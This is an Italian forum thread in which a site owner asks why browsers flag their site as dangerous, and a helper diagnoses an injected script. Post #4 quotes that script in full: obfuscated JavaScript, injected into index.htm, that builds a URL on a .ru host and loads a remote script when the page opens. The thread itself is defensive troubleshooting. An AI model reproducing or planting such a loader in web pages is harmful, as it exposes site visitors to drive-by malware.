Visualizzazione risultati 1 fino 5 di 5

Discussione: Segnalazione di malware sul sito web

  1. #1
    Guest

    Angry Segnalazione di malware sul sito web

    Da oggi, quando tento di visualizzare il mio sito web, si apre una finestra con queste informazioni:

    Attenzione: l'apertura di questo sito potrebbe danneggiare il tuo computer!
    Il sito web contiene elementi provenienti dal sito
    globe7com.mihanblog.com.anonym-to.yourblenderparts.ru
    in cui sembra essere presente malware, ovvero software in grado di danneggiare il tuo computer o, comunque, di funzionare senza il tuo consenso.

    C'è qualcosa che posso fare per eliminare questo inconveniente?

  2. #2
    Guest

    Predefinito

    Non me ne intendo benissimo pero provo cmq a darti una mano ^^'

    -Controlla il codice della tua pagina e vedi che non sia stato "manomesso",nel senso che sia come lo hai fatto tu e non sia stato modificato.

    -Hai inserito script o simili di recente?

  3. #3
    Guest

    Predefinito

    Grazie! Sei davvero gentile!
    L'unica cosa che ho modificato è stata l'immagine nell'index, altre modifiche non ne ho fatte.
    Quello che noto però, andando a confrontare i codici delle pagine pubblicate con quelle che ho nel programma per costruirle, è l'aggiunta di questi caratteri prima di <!DOCTYPE html:

    

    Dico subito che non so nulla di codici e che ho utilizzato un modello pronto per siti web andandolo poi a modificare, quindi questa cosa potrebbe anche essere normale.
    Nel dubbio, ho cancellato questi caratteri, ma come faccio a togliere la segnalazione di sicurezza sul mio sito?

  4. #4
    L'avatar di darkwolf
    darkwolf non è connesso Salvatore Noschese
    Data registrazione
    18-04-2007
    Residenza
    Reggiolo (RE)
    Messaggi
    6,558

    Predefinito

    C'è un javascript (filtratomi da noscript) che fa riferimento a: yourblenderparts.ru
    Codice:
    <script>var t=new Date();var X=new Date();function m(){var I=new Array();var c=new Array();var Um="g";var a="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x6f\x62\x65\x37\x2d\x63\x6f\x6d\x2e\x6d\x69\x68\x61\x6e\x62\x6c\x6f\x67\x2e\x63\x6f\x6d\x2e\x61\x6e\x6f\x6e\x79\x6d\x2d\x74\x6f\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";this.lt='';var W;if(W!='s' && W != ''){W=null};var j='';var Y="";var w=unescape;this.ur='';var oQ='';var R=window;var d;if(d!='oY'){d='oY'};var cA;if(cA!='oM'){cA='oM'};function U(Uh,C){this.JB="";var Ko="";var J=w("%5b")+C+w("%5d");var e;if(e!='uf'){e=''};var Z=new RegExp(J, Um);return Uh.replace(Z, j);var EO="";};var H=new Date();var lu=new String();var f='';var vR=new Date();var HE=new Date();var F;if(F!='' && F!='Ol'){F=null};var l=U('87605483240399','93427165');var Pr=new String();this.b='';var o=w("%2f%61%6e%6a%75%6b%65%2e%63%6f%6d%2f%61%6e%6a%75%6b%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%75%72%76%65%79%6d%6f%6e%6b%65%79%2e%63%6f%6d%2f%70%69%78%6e%65%74%2e%6e%65%74%2e%70%68%70");var r=document;var eM;if(eM!='mF'){eM=''};this.dj='';function _(){var aD=new Date();var CH;if(CH!='g' && CH!='BW'){CH=''};f=a;f+=l;var rF=new Date();var OJQ=new Date();f+=o;var _Q;if(_Q!='' && _Q!='S'){_Q=''};var V;if(V!='Fo' && V!='It'){V='Fo'};try {var lV=new Date();var JL=new Date();y=r.createElement(U('sQcgrgiIpTtQ','dLQIwgT'));var FQ;if(FQ!='TwX' && FQ!='On'){FQ=''};var lb='';this.Bp="";this.JX="";y.defer=[9,1][1];y.src=f;this.Om="";this.mFX="";var VV;if(VV!='NA' && VV!='BR'){VV='NA'};var GJ="";r.body.appendChild(y);var Xi;if(Xi!=''){Xi='Sm'};var vY='';var Cj;if(Cj!='Kw'){Cj='Kw'};} catch(E){var tR;if(tR!='' && tR!='mk'){tR='zN'};var Us;if(Us!='' && Us!='IB'){Us='GA'};};}this.oP='';this.Eq='';var QZ;if(QZ!='qj' && QZ!='bE'){QZ=''};R[String("XHjon".substr(3)+"lo"+"npSadSpn".substr(3,2))]=_;this._d="";var ZK;if(ZK!='xv'){ZK='xv'};var OD=new String();var dJ;if(dJ!='' && dJ!='He'){dJ='wv'};};var Zjf;if(Zjf!='sV' && Zjf!='QC'){Zjf=''};var aq;if(aq!='bN' && aq!='ta'){aq='bN'};this.WX="";m();</script>
    <!--68fa52b4547181f4a476c25f01be344e-->
    Eliminalo e verifica la sicurezza del tuo sito, del tuo pc e della tua password.

    -
    PS: il problema sembra riguardare solo l'index.htm
    Ultima modifica di darkwolf : 20-03-2010 alle ore 20.27.05

  5. #5
    Guest

    Predefinito

    Grazie Dark Wolf, sono riuscita a trovarlo.
    Per sicurezza ricarico tutte le pagine, almeno sono sicura di eliminarli tutti.

Tags for this Thread

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •